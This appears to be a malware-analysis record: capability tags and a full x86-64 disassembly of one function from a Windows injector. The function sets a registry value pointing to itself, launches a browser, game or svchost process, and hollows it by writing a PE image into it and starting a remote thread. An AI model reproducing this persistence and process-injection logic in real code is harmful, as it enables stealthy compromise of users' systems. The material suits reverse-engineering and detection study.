Function at 0x1400011c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Query environment variable
Resume thread
Set registry value
Spawn thread to rwx shellcode
Suspend thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x360], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor edi, edi
mov rbx, 0xffffffffffffffff
test rax, rax
je 0x1400012c7
mov r8d, 0x104
lea rdx, [rbp + 0x150]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400012c7
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400033e0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400012c7
lea rcx, [rbp + 0x150]
mov rax, rbx
nop dword [rax]
lea rax, [rax + 1]
cmp word [rcx + rax*2], di
jne 0x140001280
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140003438]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movsxd r14, dword [0x1400050bc]
lea r12, [0x140005080]
add r14, r12
mov dword [rbp - 0x30], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
lea rcx, [0x140003450]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x140001759
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
cmp dword [r14], 0x4550
jne 0x140001759
mov r8d, 0x104
lea rdx, [rbp + 0x40]
lea rcx, str.USERNAME
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140001759
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], 9
mov qword [rbp - 0x40], 0xf
movsd xmm0, qword [str.C:Users_]
movsd qword [rbp - 0x58], xmm0
movzx eax, byte [0x140003498]
mov byte [rbp - 0x50], al
mov byte [rbp - 0x4f], dil
lea rax, [rbp + 0x40]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001390
cmp rbx, 6
ja 0x1400013be
lea rax, [rbx + 9]
mov qword [rbp - 0x48], rax
mov r8, rbx
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x4f]
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rbx - 0x4f], 0
jmp 0x1400013d3
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x40]
mov rdx, rbx
lea rcx, [rbp - 0x58]
call fcn.1400017f0
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 0x2e
jb 0x14000141a
lea rax, [rcx + 0x2e]
mov qword [rbp - 0x48], rax
lea rbx, [rbp - 0x58]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x58]
add rbx, rcx
mov r8d, 0x2e
lea rdx, str.AppDataRoamingTelegram_DesktopTelegram.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x2e], 0
jmp 0x140001438
mov qword [rsp + 0x20], 0x2e
lea r9, str.AppDataRoamingTelegram_DesktopTelegram.exe
mov edx, 0x2e
lea rcx, [rbp - 0x58]
call fcn.1400017f0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400015df
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:RAGEMPGTA5.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400015df
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Program_FilesGoogleChromeApplicationchrome.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400015df
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rcx, qword [rbp - 0x58]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400015df
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_svchost.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400015df
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Program_FilesBraveSoftwareBrave_BrowserApplication_brave.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001712
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rsp + 0x78]
xor edx, edx
mov rcx, qword [rsp + 0x50]
call rsi
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140001712
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], rdi
mov r8, r12
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movsxd rax, dword [0x1400050bc]
mov esi, edi
cmp di, word [r14 + 6]
jae 0x140001699
lea rbx, [r12 + 0x11c]
add rbx, rax
nop
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, r12
mov edx, dword [rbx - 8]
add rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rdi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001712
add rbx, 0x28
inc esi
movzx eax, word [r14 + 6]
cmp esi, eax
jl 0x140001660
mov rdx, qword [rbp - 0x80]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, 8
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001712
mov r9d, dword [r14 + 0x28]
add r9, qword [rsp + 0x70]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x140001712
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140001717
mov edi, 1
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140001755
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001750
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001750
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400019f4
mov eax, edi
jmp 0x14000175e
mov eax, 1
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.140001990
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret